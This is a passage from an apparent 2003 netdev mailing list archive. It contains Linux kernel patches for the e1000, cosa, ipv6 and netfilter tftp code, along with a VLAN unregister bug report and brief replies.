E1000_RCTL_BSEX 0x02000000 /* Buffer size extension */ /* Receive Descriptor */ #define E1000_RDT_DELAY 0x0000ffff /* Delay timer (1=1024us) */ @@ -1546,7 +1546,7 @@ struct e1000_hw { #define E1000_HDX_COLLISION_DISTANCE E1000_COLLISION_DISTANCE #define E1000_COLD_SHIFT 12 -/* The number of Transmit and Receive Descriptors must be a multiple of 8 */ +/* Number of Transmit and Receive Descriptors must be a multiple of 8 */ #define REQ_TX_DESCRIPTOR_MULTIPLE 8 #define REQ_RX_DESCRIPTOR_MULTIPLE 8 @@ -1613,35 +1613,30 @@ struct e1000_hw { #define PCIX_STATUS_HI_MMRBC_2K 0x2 -/* The number of bits that we need to shift right to move the "pause" - * bits from the EEPROM (bits 13:12) to the "pause" (bits 8:7) field - * in the TXCW register +/* Number of bits required to shift right the "pause" bits from the + * EEPROM (bits 13:12) to the "pause" (bits 8:7) field in the TXCW register. */ #define PAUSE_SHIFT 5 -/* The number of bits that we need to shift left to move the "SWDPIO" - * bits from the EEPROM (bits 8:5) to the "SWDPIO" (bits 25:22) field - * in the CTRL register +/* Number of bits required to shift left the "SWDPIO" bits from the + * EEPROM (bits 8:5) to the "SWDPIO" (bits 25:22) field in the CTRL register. */ #define SWDPIO_SHIFT 17 -/* The number of bits that we need to shift left to move the "SWDPIO_EXT" - * bits from the EEPROM word F (bits 7:4) to the bits 11:8 of The - * Extended CTRL register. - * in the CTRL register +/* Number of bits required to shift left the "SWDPIO_EXT" bits from the + * EEPROM word F (bits 7:4) to the bits 11:8 of The Extended CTRL register. */ #define SWDPIO__EXT_SHIFT 4 -/* The number of bits that we need to shift left to move the "ILOS" - * bit from the EEPROM (bit 4) to the "ILOS" (bit 7) field - * in the CTRL register +/* Number of bits required to shift left the "ILOS" bit from the EEPROM + * (bit 4) to the "ILOS" (bit 7) field in the CTRL register. */ #define ILOS_SHIFT 3 #define RECEIVE_BUFFER_ALIGN_SIZE (256) -/* The number of milliseconds we wait for auto-negotiation to complete */ +/* Number of milliseconds we wait for auto-negotiation to complete */ #define LINK_UP_TIMEOUT 500 #define E1000_TX_BUFFER_SIZE ((uint32_t)1514) @@ -1987,7 +1982,6 @@ struct e1000_hw { #define M88E1000_EPSCR_TX_CLK_25 0x0070 /* 25 MHz TX_CLK */ #define M88E1000_EPSCR_TX_CLK_0 0x0000 /* NO TX_CLK */ - /* IGP01E1000 Specific Port Config Register - R/W */ #define IGP01E1000_PSCFR_AUTO_MDIX_PAR_DETECT 0x0010 #define IGP01E1000_PSCFR_PRE_EN 0x0020 @@ -2061,6 +1984,7 @@ uint16_t e1000_igp_cable_length_table[IG #define IGP01E1000_GMII_FLEX_SPD 0x10 /* Enable flexible speed * on Link-Up */ #define IGP01E1000_GMII_SPD 0x20 /* Enable SPD */ + /* IGP01E1000 Analog Register */ #define IGP01E1000_ANALOG_SPARE_FUSE_STATUS 0x20D1 #define IGP01E1000_ANALOG_FUSE_STATUS 0x20D0 diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -30,6 +30,22 @@ /* Change Log * + * 5.2.16 8/8/03 + * o Added support for new controllers: 82545GM, 82546GB, 82541/7_B1 + * o Bug fix: reset h/w before first EEPROM read because we don't know + * who may have been messing with the device before we got there. + * [Dave Johnson (ddj -a-t- cascv.brown.edu)] + * o Bug fix: read the correct work from EEPROM to detect programmed + * WoL settings. + * o Bug fix: TSO would hang if space left in FIFO was being miscalculated + * when mss dropped without a correspoding drop in the DMA buffer size. + * o ASF for Fiber nics isn't supported. + * o Bug fix: Workaround added for potential hang with 82544 running in + * PCI-X if send buffer terminates within an evenly-aligned dword. + * o Feature: Add support for ethtool flow control setting. + * o Feature: Add support for ethtool TSO setting. + * o Feature: Increase default Tx Descriptor count to 1024 for >= 82544. + * * 5.1.13 5/28/03 * o Bug fix: request_irq() failure resulted in freeing resources twice! * [Don Fry (brazilnut@us.ibm.com)] @@ -39,18 +55,11 @@ * o Cleanup: s/int/unsigned int/ for descriptor ring indexes. * * 5.1.11 5/6/03 - * o Feature: Added support for 82546EB (Quad-port) hardware. - * o Feature: Added support for Diagnostics through Ethtool. - * o Cleanup: Removed /proc support. - * o Cleanup: Removed proprietary IDIAG interface. - * o Bug fix: TSO bug fixes. - * - * 5.0.42 3/5/03 */ char e1000_driver_name[] = "e1000"; char e1000_driver_string[] = "Intel(R) PRO/1000 Network Driver"; -char e1000_driver_version[] = "5.1.13-k2"; +char e1000_driver_version[] = "5.2.16-k1"; char e1000_copyright[] = "Copyright (c) 1999-2003 Intel Corporation."; /* e1000_pci_tbl - PCI Device ID Table @@ -475,7 +484,7 @@ e1000_probe(struct pci_dev *pdev, adapter->phy_info_timer.function = &e1000_update_phy_info; adapter->phy_info_timer.data = (unsigned long) adapter; - INIT_WORK(&adapter->tx_timeout_task, + INIT_WORK(&adapter->tx_timeout_task, (void (*)(void *))e1000_tx_timeout_task, netdev); register_netdev(netdev); @@ -2078,6 +2087,7 @@ e1000_intr(int irq, void *data, struct p !e1000_clean_tx_irq(adapter)) break; #endif + return IRQ_HANDLED; } @@ -2736,7 +2746,7 @@ e1000_notify_reboot(struct notifier_bloc case SYS_DOWN: case SYS_HALT: case SYS_POWER_OFF: - while ((pdev = pci_find_device(PCI_ANY_ID, PCI_ANY_ID, pdev)) != NULL) { + while((pdev = pci_find_device(PCI_ANY_ID, PCI_ANY_ID, pdev))) { if(pci_dev_driver(pdev) == &e1000_driver) e1000_suspend(pdev, 3); } diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_osdep.h linux-2.6.0-test4/drivers/net/e1000.new/e1000_osdep.h --- linux-2.6.0-test4/drivers/net/e1000/e1000_osdep.h 2003-08-22 16:53:13.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_osdep.h 2003-09-08 09:13:17.000000000 -0700 @@ -55,10 +55,13 @@ #define CMD_MEM_WRT_INVALIDATE PCI_COMMAND_INVALIDATE typedef enum { +#undef FALSE FALSE = 0, +#undef TRUE TRUE = 1 } boolean_t; +#undef ASSERT #define ASSERT(x) if(!(x)) BUG() #define MSGOUT(S, A, B) printk(KERN_DEBUG S "\n", A, B) From scott.feldman@intel.com Mon Sep 8 19:50:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:41 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892oPx4017434 for ; Mon, 8 Sep 2003 19:50:26 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892m0D20917 for ; Tue, 9 Sep 2003 02:48:01 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892j6U06328 for ; Tue, 9 Sep 2003 02:45:06 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819501826075 ; Mon, 08 Sep 2003 19:50:18 -0700 Date: Mon, 8 Sep 2003 20:14:57 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, Subject: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5716 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 2200 Lines: 62 * Change the default number of Tx descriptors from 256 to 1024. Data from [ricardoz@us.ibm.com] shows it's easy to overrun the Tx desc queue. ------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_param.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_param.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_param.c 2003-08-22 16:57:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_param.c 2003-09-08 09:13:12.000000000 -0700 @@ -63,9 +63,10 @@ MODULE_PARM_DESC(X, S); /* Transmit Descriptor Count * * Valid Range: 80-256 for 82542 and 82543 gigabit ethernet controllers - * Valid Range: 80-4096 for 82544 + * Valid Range: 80-4096 for 82544 and newer * - * Default Value: 256 + * Default Value: 256 for 82542 and 82543 gigabit ethernet controllers + * Default Value: 1024 for 82544 and newer */ E1000_PARAM(TxDescriptors, "Number of transmit descriptors"); @@ -73,7 +74,7 @@ E1000_PARAM(TxDescriptors, "Number of tr /* Receive Descriptor Count * * Valid Range: 80-256 for 82542 and 82543 gigabit ethernet controllers - * Valid Range: 80-4096 for 82544 + * Valid Range: 80-4096 for 82544 and newer * * Default Value: 256 */ @@ -200,6 +201,7 @@ E1000_PARAM(InterruptThrottleRate, "Inte #define MAX_TXD 256 #define MIN_TXD 80 #define MAX_82544_TXD 4096 +#define DEFAULT_82544_TXD 1024 #define DEFAULT_RXD 256 #define MAX_RXD 256 @@ -320,12 +322,15 @@ e1000_check_options(struct e1000_adapter struct e1000_option opt = { .type = range_option, .name = "Transmit Descriptors", - .err = "using default of " __MODULE_STRING(DEFAULT_TXD), - .def = DEFAULT_TXD, .arg = { .r = { .min = MIN_TXD }} }; struct e1000_desc_ring *tx_ring = &adapter->tx_ring; e1000_mac_type mac_type = adapter->hw.mac_type; + opt.err = mac_type < e1000_82544 ? + "using default of " __MODULE_STRING(DEFAULT_TXD) : + "using default of " __MODULE_STRING(DEFAULT_82544_TXD); + opt.def = mac_type < e1000_82544 ? + DEFAULT_TXD : DEFAULT_82544_TXD; opt.arg.r.max = mac_type < e1000_82544 ? MAX_TXD : MAX_82544_TXD; From mitch@sfgoth.com Mon Sep 8 23:52:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 23:52:29 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h896q1x4017066 for ; Mon, 8 Sep 2003 23:52:02 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h89703kV025164; Tue, 9 Sep 2003 00:00:03 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h897028R025161; Tue, 9 Sep 2003 00:00:02 -0700 (PDT) (envelope-from mitch) Date: Tue, 9 Sep 2003 00:00:02 -0700 From: Mitchell Blank Jr To: coreteam@netfilter.org Cc: netdev@oss.sgi.com Subject: [PATCH] fix typo added in 2.6.0-test5 Message-ID: <20030909070002.GJ18862@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5721 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Content-Length: 486 Lines: 15 Trivial typo fix in just-changed code. -Mitch --- linux-2.6.0-test5-VIRGIN/net/ipv4/netfilter/ip_nat_tftp.c 2003-09-08 12:39:49.000000000 -0700 +++ linux-2.6.0-test5mnb1/net/ipv4/netfilter/ip_nat_tftp.c 2003-09-08 14:45:10.903081992 -0700 @@ -30,7 +30,7 @@ #include MODULE_AUTHOR("Magnus Boden "); -MODULE_DESCRIPTION("tfpt NAT helper"); +MODULE_DESCRIPTION("tftp NAT helper"); MODULE_LICENSE("GPL"); #define MAX_PORTS 8 From juergen.nagler-ihlein@informatik.uni-ulm.de Tue Sep 9 01:50:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 01:50:53 -0700 (PDT) Received: from mail.informatik.uni-ulm.de (ns.informatik.uni-ulm.de [134.60.68.63]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h898oJx4000910 for ; Tue, 9 Sep 2003 01:50:21 -0700 Received: from fels.informatik.uni-ulm.de ([134.60.70.40] helo=informatik.uni-ulm.de) by mail.informatik.uni-ulm.de with esmtp (Exim 3.36 #1) id 19weCY-0004dC-00 for netdev@oss.sgi.com; Tue, 09 Sep 2003 10:50:18 +0200 Message-ID: <3F5D94D8.6050108@informatik.uni-ulm.de> Date: Tue, 09 Sep 2003 10:52:40 +0200 From: =?ISO-8859-1?Q?J=FCrgen_Nagler-Ihlein?= Organization: Abt. Medieninformatik, =?ISO-8859-1?Q?Universit=E4t_Ulm?= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Server-Admin? X-Enigmail-Version: 0.76.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-archive-position: 5722 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: juergen.nagler-ihlein@informatik.uni-ulm.de Precedence: bulk X-list: netdev Content-Length: 90 Lines: 6 Is my question really so hard to answer who's responsable for the mailinglist? Jürgen From davej@codemonkey.org.uk Tue Sep 9 02:23:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 02:24:21 -0700 (PDT) Received: from lacrosse.corp.redhat.com (pix-525-pool.redhat.com [66.187.233.200]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h899Nix4005557 for ; Tue, 9 Sep 2003 02:23:46 -0700 Received: from hardwired (davej.cipe.redhat.com [10.0.1.164]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h899NhK20467 for ; Tue, 9 Sep 2003 05:23:43 -0400 Received: from davej by hardwired with local (Exim 3.36 #1 (Debian)) id 19wehz-00066h-00 for ; Tue, 09 Sep 2003 10:22:47 +0100 Date: Tue, 9 Sep 2003 10:22:47 +0100 From: Dave Jones To: netdev@oss.sgi.com Subject: !CONFIG_PROC_FS fix for ipv6 Message-ID: <20030909092247.GA23468@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 5723 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davej@redhat.com Precedence: bulk X-list: netdev Content-Length: 2797 Lines: 122 Against 2.6.test5 diff -urpN --exclude-from=/home/davej/.exclude bk-linus/net/ipv6/proc.c linux-2.5/net/ipv6/proc.c --- bk-linus/net/ipv6/proc.c 2003-09-08 00:48:56.000000000 +0100 +++ linux-2.5/net/ipv6/proc.c 2003-09-08 22:29:05.000000000 +0100 @@ -32,7 +32,6 @@ #ifdef CONFIG_PROC_FS static struct proc_dir_entry *proc_net_devsnmp6; -#endif static int fold_prot_inuse(struct proto *proto) { @@ -58,7 +57,6 @@ static int sockstat6_seq_show(struct seq return 0; } - struct snmp6_item { char *name; @@ -221,9 +219,7 @@ static struct file_operations snmp6_seq_ int snmp6_register_dev(struct inet6_dev *idev) { int err = -ENOMEM; -#ifdef CONFIG_PROC_FS struct proc_dir_entry *p; -#endif if (!idev || !idev->dev) return -EINVAL; @@ -232,7 +228,6 @@ int snmp6_register_dev(struct inet6_dev __alignof__(struct icmpv6_mib)) < 0) goto err_icmp; -#ifdef CONFIG_PROC_FS if (!proc_net_devsnmp6) { err = -ENOENT; goto err_proc; @@ -244,27 +239,22 @@ int snmp6_register_dev(struct inet6_dev p->proc_fops = &snmp6_seq_fops; idev->stats.proc_dir_entry = p; -#endif return 0; -#ifdef CONFIG_PROC_FS err_proc: snmp6_mib_free((void **)idev->stats.icmpv6); -#endif err_icmp: return err; } int snmp6_unregister_dev(struct inet6_dev *idev) { -#ifdef CONFIG_PROC_FS if (!proc_net_devsnmp6) return -ENOENT; if (!idev || !idev->stats.proc_dir_entry) return -EINVAL; remove_proc_entry(idev->stats.proc_dir_entry->name, proc_net_devsnmp6); -#endif snmp6_mib_free((void **)idev->stats.icmpv6); return 0; @@ -307,3 +297,31 @@ void ipv6_misc_proc_exit(void) proc_net_remove("snmp6"); } +#else /* CONFIG_PROC_FS */ + + +int snmp6_register_dev(struct inet6_dev *idev) +{ + int err = -ENOMEM; + + if (!idev || !idev->dev) + return -EINVAL; + + if (snmp6_mib_init((void **)idev->stats.icmpv6, sizeof(struct icmpv6_mib), + __alignof__(struct icmpv6_mib)) < 0) + goto err_icmp; + + return 0; + +err_icmp: + return err; +} + +int snmp6_unregister_dev(struct inet6_dev *idev) +{ + snmp6_mib_free((void **)idev->stats.icmpv6); + return 0; +} + +#endif + diff -urpN --exclude-from=/home/davej/.exclude bk-linus/net/ipv6/tcp_ipv6.c linux-2.5/net/ipv6/tcp_ipv6.c --- bk-linus/net/ipv6/tcp_ipv6.c 2003-09-08 00:48:56.000000000 +0100 +++ linux-2.5/net/ipv6/tcp_ipv6.c 2003-09-08 22:29:06.000000000 +0100 @@ -2023,6 +2023,7 @@ static void get_timewait6_sock(struct se atomic_read(&tw->tw_refcnt), tw); } +#ifdef CONFIG_PROC_FS static int tcp6_seq_show(struct seq_file *seq, void *v) { struct tcp_iter_state *st; @@ -2072,6 +2073,7 @@ void tcp6_proc_exit(void) { tcp_proc_unregister(&tcp6_seq_afinfo); } +#endif struct proto tcpv6_prot = { .name = "TCPv6", -- Dave Jones http://www.codemonkey.org.uk From wsx@6com.sk Tue Sep 9 03:59:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 04:00:04 -0700 (PDT) Received: from mail.6com.sk (postfix@cement.ksp.edi.fmph.uniba.sk [158.195.16.151] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89AxCx4020169 for ; Tue, 9 Sep 2003 03:59:13 -0700 Received: by mail.6com.sk (Postfix, from userid 501) id 0841EFC7A; Tue, 9 Sep 2003 12:58:51 +0200 (CEST) Date: Tue, 9 Sep 2003 12:58:50 +0200 From: Jan Oravec To: netdev@oss.sgi.com Subject: VLAN remove problem Message-ID: <20030909105850.GA10034@wsx.ksp.sk> Reply-To: Jan Oravec Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Operating-System: UNIX X-archive-position: 5724 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan.oravec@6com.sk Precedence: bulk X-list: netdev Content-Length: 543 Lines: 26 Hello, try (on 2.6.0-test5): vconfig add eth0 47 ip link set eth0.47 up wait for IPv6 link-local address to appear ip addr del fe80::something/64 dev eth0.47 vconfig rem eth0.47 the result - never ending: unregister_netdevice: waiting for eth0.47 to become free. Usage count = 1 Reference is probably not cleared when link-local address is removed. Best Regards, -- Jan Oravec XS26 coordinator 6COM s.r.o. 'Access to IPv6' http://www.6com.sk http://www.xs26.net From davem@pizda.ninka.net Tue Sep 9 08:00:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 08:00:12 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89Exlx4029636 for ; Tue, 9 Sep 2003 08:00:08 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA07128; Tue, 9 Sep 2003 07:49:17 -0700 Date: Tue, 9 Sep 2003 07:49:17 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: coreteam@netfilter.org, netdev@oss.sgi.com Subject: Re: [PATCH] fix typo added in 2.6.0-test5 Message-Id: <20030909074917.2ee829a6.davem@redhat.com> In-Reply-To: <20030909070002.GJ18862@gaz.sfgoth.com> References: <20030909070002.GJ18862@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5725 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 175 Lines: 6 On Tue, 9 Sep 2003 00:00:02 -0700 Mitchell Blank Jr wrote: > Trivial typo fix in just-changed code. I already have this in my to-apply queue, but thanks. From shemminger@osdl.org Tue Sep 9 15:50:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 15:50:56 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89MoNx4025570 for ; Tue, 9 Sep 2003 15:50:23 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h89Mmoo14476; Tue, 9 Sep 2003 15:48:50 -0700 Date: Tue, 9 Sep 2003 15:48:33 -0700 From: Stephen Hemminger To: Eyal Lebedinsky , Jeff Garzik Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] fix build of cosa Message-Id: <20030909154833.0797ca6e.shemminger@osdl.org> In-Reply-To: <3F5DC247.794DD843@eyal.emu.id.au> References: <3F5DC247.794DD843@eyal.emu.id.au> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5726 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 6312 Lines: 175 The cosa driver definition of ioctl's either conflicts or was not picked up in the last round of _IOR redefinition (on 2.6.0-test5). The following makes it build, have no idea if it still works on real hardware. diff -Nru a/drivers/net/wan/cosa.c b/drivers/net/wan/cosa.c --- a/drivers/net/wan/cosa.c Tue Sep 9 15:45:31 2003 +++ b/drivers/net/wan/cosa.c Tue Sep 9 15:45:31 2003 @@ -326,11 +326,11 @@ /* Ioctls */ static int cosa_start(struct cosa_data *cosa, int address); static int cosa_reset(struct cosa_data *cosa); -static int cosa_download(struct cosa_data *cosa, struct cosa_download *d); -static int cosa_readmem(struct cosa_data *cosa, struct cosa_download *d); +static int cosa_download(struct cosa_data *cosa, unsigned long a); +static int cosa_readmem(struct cosa_data *cosa, unsigned long a); /* COSA/SRP ROM monitor */ -static int download(struct cosa_data *cosa, char *data, int addr, int len); +static int download(struct cosa_data *cosa, const char *data, int addr, int len); static int startmicrocode(struct cosa_data *cosa, int address); static int readmem(struct cosa_data *cosa, char *data, int addr, int len); static int cosa_reset_and_read_id(struct cosa_data *cosa, char *id); @@ -1033,11 +1033,10 @@ } /* High-level function to download data into COSA memory. Calls download() */ -static inline int cosa_download(struct cosa_data *cosa, struct cosa_download *d) +static inline int cosa_download(struct cosa_data *cosa, unsigned long arg) { + struct cosa_download d; int i; - int addr, len; - char *code; if (cosa->usage > 1) printk(KERN_INFO "%s: WARNING: download of microcode requested with cosa->usage > 1 (%d). Odd things may happen.\n", @@ -1047,38 +1046,36 @@ cosa->name, cosa->firmware_status); return -EPERM; } - - if (verify_area(VERIFY_READ, d, sizeof(*d)) || - __get_user(addr, &(d->addr)) || - __get_user(len, &(d->len)) || - __get_user(code, &(d->code))) + + if (copy_from_user(&d, (void __user *) arg, sizeof(d))) return -EFAULT; - if (addr < 0 || addr > COSA_MAX_FIRMWARE_SIZE) + if (d.addr < 0 || d.addr > COSA_MAX_FIRMWARE_SIZE) return -EINVAL; - if (len < 0 || len > COSA_MAX_FIRMWARE_SIZE) + if (d.len < 0 || d.len > COSA_MAX_FIRMWARE_SIZE) return -EINVAL; + /* If something fails, force the user to reset the card */ cosa->firmware_status &= ~(COSA_FW_RESET|COSA_FW_DOWNLOAD); - if ((i=download(cosa, code, len, addr)) < 0) { + i = download(cosa, d.code, d.len, d.addr); + if (i < 0) { printk(KERN_NOTICE "cosa%d: microcode download failed: %d\n", cosa->num, i); return -EIO; } printk(KERN_INFO "cosa%d: downloading microcode - 0x%04x bytes at 0x%04x\n", - cosa->num, len, addr); + cosa->num, d.len, d.addr); cosa->firmware_status |= COSA_FW_RESET|COSA_FW_DOWNLOAD; return 0; } /* High-level function to read COSA memory. Calls readmem() */ -static inline int cosa_readmem(struct cosa_data *cosa, struct cosa_download *d) +static inline int cosa_readmem(struct cosa_data *cosa, unsigned long arg) { + struct cosa_download d; int i; - int addr, len; - char *code; if (cosa->usage > 1) printk(KERN_INFO "cosa%d: WARNING: readmem requested with " @@ -1090,22 +1087,20 @@ return -EPERM; } - if (verify_area(VERIFY_READ, d, sizeof(*d)) || - __get_user(addr, &(d->addr)) || - __get_user(len, &(d->len)) || - __get_user(code, &(d->code))) + if (copy_from_user(&d, (void __user *) arg, sizeof(d))) return -EFAULT; /* If something fails, force the user to reset the card */ cosa->firmware_status &= ~COSA_FW_RESET; - if ((i=readmem(cosa, code, len, addr)) < 0) { + i = readmem(cosa, d.code, d.len, d.addr); + if (i < 0) { printk(KERN_NOTICE "cosa%d: reading memory failed: %d\n", cosa->num, i); return -EIO; } printk(KERN_INFO "cosa%d: reading card memory - 0x%04x bytes at 0x%04x\n", - cosa->num, len, addr); + cosa->num, d.len, d.addr); cosa->firmware_status |= COSA_FW_RESET; return 0; } @@ -1171,11 +1166,12 @@ case COSAIODOWNLD: /* Download the firmware */ if (!capable(CAP_SYS_RAWIO)) return -EACCES; - return cosa_download(cosa, (struct cosa_download *)arg); + + return cosa_download(cosa, arg); case COSAIORMEM: if (!capable(CAP_SYS_RAWIO)) return -EACCES; - return cosa_readmem(cosa, (struct cosa_download *)arg); + return cosa_readmem(cosa, arg); case COSAIORTYPE: return cosa_gettype(cosa, (char *)arg); case COSAIORIDSTR: @@ -1405,7 +1401,7 @@ * by a single space. Monitor has to reply with a space. Now the download * begins. After the download monitor replies with "\r\n." (CR LF dot). */ -static int download(struct cosa_data *cosa, char *microcode, int length, int address) +static int download(struct cosa_data *cosa, const char *microcode, int length, int address) { int i; diff -Nru a/drivers/net/wan/cosa.h b/drivers/net/wan/cosa.h --- a/drivers/net/wan/cosa.h Tue Sep 9 15:45:31 2003 +++ b/drivers/net/wan/cosa.h Tue Sep 9 15:45:31 2003 @@ -73,19 +73,19 @@ #define COSAIORSET _IO('C',0xf0) /* Start microcode at given address */ -#define COSAIOSTRT _IOW('C',0xf1,sizeof(int)) +#define COSAIOSTRT _IOW('C',0xf1, int) /* Read the block from the device memory */ -#define COSAIORMEM _IOR('C',0xf2,sizeof(struct cosa_download *)) +#define COSAIORMEM _IOWR('C',0xf2, struct cosa_download) /* Write the block to the device memory (i.e. download the microcode) */ -#define COSAIODOWNLD _IOW('C',0xf2,sizeof(struct cosa_download *)) +#define COSAIODOWNLD _IOW('C',0xf2, struct cosa_download) /* Read the device type (one of "srp", "cosa", and "cosa8" for now) */ -#define COSAIORTYPE _IOR('C',0xf3,sizeof(char *)) +#define COSAIORTYPE _IOR('C',0xf3, char *) /* Read the device identification string */ -#define COSAIORIDSTR _IOR('C',0xf4,sizeof(char *)) +#define COSAIORIDSTR _IOR('C',0xf4, char *) /* Maximum length of the identification string. */ #define COSA_MAX_ID_STRING 128 @@ -100,7 +100,7 @@ #define COSAIONRCHANS _IO('C',0xf8) /* Set the driver for the bus-master operations */ -#define COSAIOBMSET _IOW('C', 0xf9, sizeof(unsigned short)) +#define COSAIOBMSET _IOW('C', 0xf9, unsigned short) #define COSA_BM_OFF 0 /* Bus-mastering off - use ISA DMA (default) */ #define COSA_BM_ON 1 /* Bus-mastering on - faster but untested */ From shemminger@osdl.org Tue Sep 9 16:01:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 16:01:32 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89N0xx4026971 for ; Tue, 9 Sep 2003 16:01:00 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h89N0ao17047; Tue, 9 Sep 2003 16:00:36 -0700 Date: Tue, 9 Sep 2003 16:00:19 -0700 From: Stephen Hemminger To: chas williams , "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] br2684 - build problems on 2.6.0-test5 Message-Id: <20030909160019.0a4ea902.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ 